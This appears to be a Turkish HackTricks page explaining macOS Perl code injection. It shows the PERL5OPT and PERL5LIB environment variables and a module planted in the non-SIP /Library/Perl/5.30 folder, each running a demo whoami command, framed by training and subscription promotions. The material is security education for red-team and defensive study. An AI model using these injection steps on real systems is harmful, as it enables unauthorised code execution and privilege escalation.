macOS Perl Uygulamaları Enjeksiyonu
Reading time: 3 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
PERL5OPT
& PERL5LIB
ortam değişkeni aracılığıyla
PERL5OPT ortam değişkenini kullanarak perl'in rastgele komutlar çalıştırması sağlanabilir.
Örneğin, bu scripti oluşturun:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Şimdi env değişkenini dışa aktarın ve perl betiğini çalıştırın:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Başka bir seçenek, bir Perl modülü oluşturmaktır (örneğin, /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
Ve ardından env değişkenlerini kullanın:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Bağımlılıklar aracılığıyla
Perl'in çalıştığı bağımlılık klasör sırasını listelemek mümkündür:
perl -e 'print join("\n", @INC)'
Bu, şöyle bir şey döndürecektir:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Bazı döndürülen klasörler hiç mevcut değil, ancak /Library/Perl/5.30
mevcuttur, SIP tarafından korunmamaktadır ve SIP tarafından korunan klasörlerden öncedir. Bu nedenle, biri o klasörü kötüye kullanarak oraya script bağımlılıkları ekleyebilir, böylece yüksek ayrıcalıklı bir Perl scripti bunu yükleyebilir.
warning
Ancak, o klasöre yazmak için root olmanız gerektiğini unutmayın ve günümüzde bu TCC istemi ile karşılaşacaksınız:
Örneğin, bir script use File::Basename;
ifadesini kullanıyorsa, /Library/Perl/5.30/File/Basename.pm
oluşturmak ve keyfi kod çalıştırmak mümkün olacaktır.
References
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.